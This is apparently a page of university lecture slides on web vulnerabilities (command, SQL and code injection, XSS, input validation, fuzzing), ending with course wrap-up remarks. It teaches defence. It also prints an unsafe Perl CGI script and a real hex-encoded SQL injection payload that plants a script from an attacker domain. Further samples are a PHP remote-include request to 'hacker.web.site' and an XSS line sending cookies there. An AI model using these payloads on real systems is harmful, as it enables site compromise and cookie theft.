CIS 433/533 - Computer and Network Security. Web Vulnerabilities, Wrapup



Similar documents
CNT Computer and Network Security Review/Wrapup

Botnet-Powered SQL Injection Attacks A Deeper Look Within (VB, Sep. 2009) David Maciejak Guillaume Lovet

CS 356 Lecture 23 and 24 Software Security. Spring 2013

SQL Injection. Slides thanks to Prof. Shmatikov at UT Austin

Understanding Web Application Security Issues

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Introduction to Web Application Firewalls. Dustin Anders

To Cache a Thief Using database caches to detect SQL injection attacks. Kevvie Fowler, CISSP, GCFA Gold, MCTS, MCDBA, MCSD, MCSE

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Webapps Vulnerability Report

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

7 Why Use Perl for CGI?

The Top Web Application Attacks: Are you vulnerable?

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

Cross Site Scripting in Joomla Acajoom Component

What is Web Security? Motivation

Check list for web developers

Web Application Attacks And WAF Evasion

Intrusion detection for web applications

Finding Your Way in Testing Jungle. A Learning Approach to Web Security Testing.

Thick Client Application Security

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Chapter 1 Web Application (In)security 1

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Web-Application Security

Magento Security and Vulnerabilities. Roman Stepanov

Web Security Testing Cookbook*

Criteria for web application security check. Version

Application security testing: Protecting your application and data

Lecture 11 Web Application Security (part 1)

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Adobe Systems Incorporated

Ruby on Rails Secure Coding Recommendations

Last update: February 23, 2004

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Essential IT Security Testing

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Common Security Vulnerabilities in Online Payment Systems

Still Aren't Doing. Frank Kim

Cross Site Scripting Prevention

Java Web Application Security

Complete Cross-site Scripting Walkthrough

Blackbox Reversing of XSS Filters

Hack Proof Your Webapps

Carlos Muñoz Application Security Engineer WhiteHat

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Web application security

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Threat Modeling/ Security Testing. Tarun Banga, Adobe 1. Agenda

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

WEB ATTACKS AND COUNTERMEASURES

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

Source Code Review Using Static Analysis Tools

(WAPT) Web Application Penetration Testing

Preventing SQL Injection and XSS Attacks. ACM Webmonkeys, 2011

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Advanced Web Security, Lab

A Review of Web Application Security for Preventing Cyber Crimes

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

Security Testing with Selenium

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Protection, Usability and Improvements in Reflected XSS Filters

ensuring security the way how we do it

Web Application Security

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Introduction to Web Application Security. Microsoft CSO Roundtable Houston, TX. September 13 th, 2006

Web Application Security: Exercise Development Approaches

KEN VAN WYK. Fundamentals of Secure Coding and how to break Software MARCH 19-23, 2007 RESIDENZA DI RIPETTA - VIA DI RIPETTA, 231 ROME (ITALY)

Web Vulnerability Assessment Report

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Client Side Filter Enhancement using Web Proxy

Advanced Tornado TWENTYONE Advanced Tornado Accessing MySQL from Python LAB

Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Jorge Blanco Alcover. Mike Shema. Technical Editor SYNGRESS

Vulnerability Assessment and Penetration Testing

Penetration Test Report

Using Nessus In Web Application Vulnerability Assessments

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Perl In Secure Web Development

How to start a software security initiative within your organization: a maturity based and metrics driven approach OWASP

Transcription:

CIS 433/533 - Computer and Network Security Web Vulnerabilities, Wrapup Professor Kevin Butler Winter 2011 Computer and Information Science

Injection Attacks flaws relating to invalid input handling which then influences program execution often when passed as a parameter to a helper program or other utility or subsystem most often occurs in scripting languages encourage reuse of other programs / modules often seen in web CGI scripts

Unsafe Perl Script 1 #!/usr/bin/perl 2 # finger.cgi - finger CGI script using Perl5 CGI module 3 4 use CGI; 5 use CGI::Carp qw(fatalstobrowser); 6 $q = new CGI; # create query object 7 8 # display HTML header 9 print $q->header, 10 $q->start_html('finger User'), 11 $q->h1('finger User'); 12 print "<pre>"; 13 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 print `/usr/bin/finger -sh $user`; 17 18 # display HTML footer 19 print "</pre>"; 20 print $q->end_html;

Safer Script counter attack by validating input compare to pattern that rejects invalid input see example additions to script: 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 die "The specified user contains illegal characters!" 17 unless ($user =~ /^\w+$/); 18 print `/usr/bin/finger -sh $user`;

SQL Injection another widely exploited injection attack when input used in SQL query to database similar to command injection SQL meta-characters are the concern must check and validate input for these $name = $_REQUEST['name']; $query = SELECT * FROM suppliers WHERE name = '". $name. "';" $result = mysql_query($query); $name = $_REQUEST['name']; $query = SELECT * FROM suppliers WHERE name = '". mysql_real_escape_string($name). "';" $result = mysql_query($query);

Consequences When SQL injection goes bad... 6

Real SQL Injection orderitem.asp?it=gm-204;declare%20@s%20nvarchar(4000);set%20@s=cast(0x440045 0043004C00410052004500200040005400200076006100720063006800610072002800320035 00350029002C0040004300200076006100720063006800610072002800320035003500290020 004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F 007200200043005500520053004F005200200046004F0052002000730065006C006500630074 00200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D 0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F 006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D 0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075 002700200061006E0064002000280062002E00780074007900700065003D003900390020006F 007200200062002E00780074007900700065003D003300350020006F007200200062002E0078 0074007900700065003D0032003300310020006F007200200062002E00780074007900700065 003D00310036003700290020004F00500045004E0020005400610062006C0065005F00430075 00720073006F00720020004600450054004300480020004E004500580054002000460052004F 004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054 004F002000400054002C004000430020005700480049004C0045002800400040004600450054 00430048005F005300540041005400550053003D0030002900200042004500470049004E0020 0065007800650063002800270075007000640061007400650020005B0027002B00400054002B 0027005D00200073006500740020005B0027002B00400043002B0027005D003D007200740072 0069006D00280063006F006E007600650072007400280076006100720063006800610072002C 005B0027002B00400043002B0027005D00290029002B00270027003C00730063007200690070 00740020007300720063003D0068007400740070003A002F002F007700770077002E006E00 6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F00 7300630072006900700074003E0027002700270029004600450054004300480020004E0045 00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073 006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F0043007500720073006F0072002000 4400450041004C004C004F00430041005400450020005400610062006C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 7

Decoded result: DECLARE @T varchar(255)'@c varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE (@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')fetch NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor Redirects to malicious domain where 8 different browser exploits are launched 8

Code Injection further variant input includes code that is then executed see PHP remote code injection vulnerability variable + global field variables + remote include this type of attack is widely exploited <?php include $path. 'functions.php'; include $path. 'data/prefs.php'; GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls

Cross Site Scripting Attacks attacks where input from one user is later output to another user XSS commonly seen in scripted web apps with script code included in output to browser any supported script, e.g. Javascript, ActiveX assumed to come from application on site XSS reflection malicious code supplied to site subsequently displayed to other users

XSS Example guestbooks, wikis, blogs etc where comment includes script code e.g. to collect cookie details of viewing users need to validate data supplied including handling various possible encodings attacks both input and output handling Thanks for this information, its great! <script>document.location='http://hacker.web.site/cookie.cgi?'+ document.cookie</script>

Validating Input Syntax to ensure input data meets assumptions e.g. is printable, HTML, email, userid etc compare to what is known acceptable not to known dangerous as can miss new problems, bypass methods commonly use regular expressions pattern of characters describe allowable input details vary between languages bad input either rejected or altered

Input Fuzzing powerful testing method using a large range of randomly generated inputs to test whether program/function correctly handles abnormal inputs simple, free of assumptions, cheap assists with reliability as well as security can also use templates to generate classes of known problem inputs could then miss bugs, so use random as well

Wrapup So, what does it all mean? 14

The state of security issues are in public consciousness Press coverage is increasing Losses mounting (billions and billions) Affect increasing (ATMs, commerce) Public is at risk... What are we doing? sound and fury signifying nothing (well, its not quite that bad) 15

The problems What is the root cause? Security is not a key goal...... and it never has been...... so, we need to figure out how to change the way we do engineering (and science)...... to make computers secure. Far too much misunderstanding about basic security and the use of technology (security theatre) 16

The current solutions Make better software we mean it - B. Gates (2002) no really - B. Gates (2003) Linux/OS X/Sun OS etc. is bad too - B. Gates (2005) Vista will fix everything - B. Gates (2006) Vista fixes everything - B. Gates (2007) Sorry about Vista... - B. Gates (2007.5) Windows 7.0 will fix everything - B. Gates (2008) CERT/SANS-based problem/event tracking Experts tracking vulnerabilities Patch system completely broken Destructive research Back-pressure on product developers Arms-race with bad guys Problem: reactive, rather than proactive 17

The real solutions Fix the economic incentive equation Eventually, MS/Sun/Apple/*** will be in enough pain that they change the way they make software Education Things will get better when people understand when how to use technology Fix engineering practices Design for security Apply technology What we have been talking about 18

Your new skills arsenal A little knowledge is a dangerous thing More and more, real lives at stake through subverting computers With great power comes great responsibility 19

The bottom line The Web/Internet and new technologies have limited ability to address security and privacy concerns computer science is making the world less safe!! it is incumbent on us as scientists to meet these challenges. Evangelize importance of security Provide sound technologies Define better practices 20

Computer and Information Science Thank You!!!